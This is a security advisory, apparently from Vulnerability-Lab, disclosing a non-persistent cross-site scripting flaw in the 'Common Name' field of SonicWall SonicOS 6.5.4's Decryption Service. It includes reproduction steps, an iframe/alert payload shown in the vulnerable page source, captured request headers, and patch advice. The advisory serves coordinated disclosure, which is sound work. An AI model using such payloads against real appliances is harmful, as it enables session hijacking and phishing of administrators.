Sonicwall SonicOS 6.5.4 Cross Site Scripting

Sonicwall SonicOS version 6.5.4 suffers from a client-side cross site scripting vulnerability.

MD5 | 8a7bea46a126c2fe26da7871507f636c

Document Title:
Sonicwall SonicOS 6.5.4 - Cross Site Scripting Web Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
Cross Site Scripting - Non Persistent

Current Estimated Price:
500€ - 1.000€

Product & Service Introduction:
The design, implementation and deployment of modern network architectures, such as virtualization and cloud, continue to be a game-changing
strategy for many organizations. Virtualizing the data center, migrating to the cloud, or a combination of both, demonstrates significant
operational and economic advantages. However, vulnerabilities within virtual environments are well-documented. New vulnerabilities are
discovered regularly that yield serious security implications and challenges. To ensure applications and services are delivered safely,
efficiently and in a scalable manner, while still combating threats harmful to all parts of the virtual framework including virtual
machines (VMs), application workloads and data must be among the top priorities.

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Abstract Advisory Information:
The vulnerability laboratory core research team discovered a non-persistent cross site scripting web vulnerability in the SonicWall SonicOS 6.5.4.

Affected Product(s):
Model: SonicWall SonicOS
Firmware: (6.5.4)
OS: SonicOS Enhanced

Vulnerability Disclosure Timeline:
2021-07-24: Researcher Notification & Coordination (Security Researcher)
2021-07-25: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-10-18: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Exploitation Technique:

Severity Level:

Authentication Type:
Restricted Authentication (Guest Privileges)

User Interaction:
Medium User Interaction

Disclosure Type:
Responsible Disclosure

Technical Details & Description:
A client-side input validation vulnerability has been discovered in the official SonicWall SonicOS 6.5.4.
The vulnerability allows remote attackers to hijack sessionc credentials or manipulate client-side requested application content.

The vulnerability is located in the common name input field in the Decryption Service - Common Name - Show Connection Failures module.
Remote attackers with low privileged user accounts can inject own script codes to compromise session credentials. It is also possible
to build special crafted html pages with get / post method requests to hijack non-expired user account sessions. The request method to
inject is get and the attack vector is located on the client-side without being persistent.

Successful exploitation of the vulnerability allows remote attackers to hijack session credentials (non-persistent), phishing
(non-persistent), external redirect to malicious sources (non-persistent) or client-side application content manipulation.
Exploitation of the vulnerability requires low or medium user interaction or a low privileged (restricted) user account.

[+] Decryption Service

Vulnerable Function(s):
[+] Edit (Bearbeiten)

Vulnerable Parameter(s):
[+] Common Name

Affected Module(s):
[+] Show Connection Failures

Proof of Concept (PoC):
The client-side cross site scripting web vulnerability can be exploited by remote attackers with user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Login as restricted or privileged user to the sonicWall sonicOS 6.5.4 virtual firewall application
2. Open the Decryption Service > Common Name > Show Connection Failures
3. Click on Edit and inject a js test payload into the restricted client content
4. Pushing anywhere else outsite field will temporarily save the payload
5. The script code immediately executes in the web browsers context
5. Successful reproduce of the script code inject web vulnerability!

Vulnerable Source: Connection Failure List (getConnFailureList.json)
<div id="connFailureEntriesDiv" style="overflow-y: scroll; height: 544px;">
<table summary="" width="100%" cellspacing="0" cellpadding="4" border="0">
<tbody id="connFailureEntries"><tr><td class="listItem" width="5%"><input type="checkbox"
id="failChk4181252134" class="failChk" data-id="4181251300" data-name="sfPKI-4411CA162CD7931145552C4C87F9603D55FC.22"
data-override-name="><iframe src=evil.source onload=alert(document.domain)>" data-failure="7" onclick="onClickFailCheckbox(this);"></td>
<td class="listItem" width="15%">192.168.XX.XX</td><td class="listItem" width="15%">XX.XX.XX.XX</td>
<td class="listItem" width="30%">>"<iframe src="evil.source" onload="alert(document.domain)"></iframe></td>

--- PoC Session Logs (Cookie: SessId=F0FF65AA4C2B22B0655546584DCFAF65) ---
Host: nsv800.localhost:9281
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://nsv800.localhost:9281/sslSpyConfigure.html
Cookie: temp=; SessId=F0FF65AA4C2B22B0655546584DCFAF65
Upgrade-Insecure-Requests: 1
GET: HTTP/1.0 200 OK
Server: SonicWALL
Content-type: text/html;charset=UTF-8
Host: nsv800.localhost:9281
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Connection: keep-alive
Referer: https://nsv800.localhost:9281/logo.html
Cookie: temp=; SessId=F0FF65AA4C2B22B0655546584DCFAF65
GET: HTTP/1.0 200 OK
Server: SonicWALL
Content-type: application/json
Accept-Ranges: bytes


Solution - Fix & Patch:
The vulnerability can be patched by a secure parse and encode of the client-side reflected script code through getJsonData.json and sslSpyConfigure.
The input and output parameters needs to be sanitized to prevent script code injects.

Security Risk:
The security risk of the client-side cross site web vulnerability in the sonicwall sonicos series is estimated as medium.

Credits & Authors:
Vulnerability-Lab [Research Team] -

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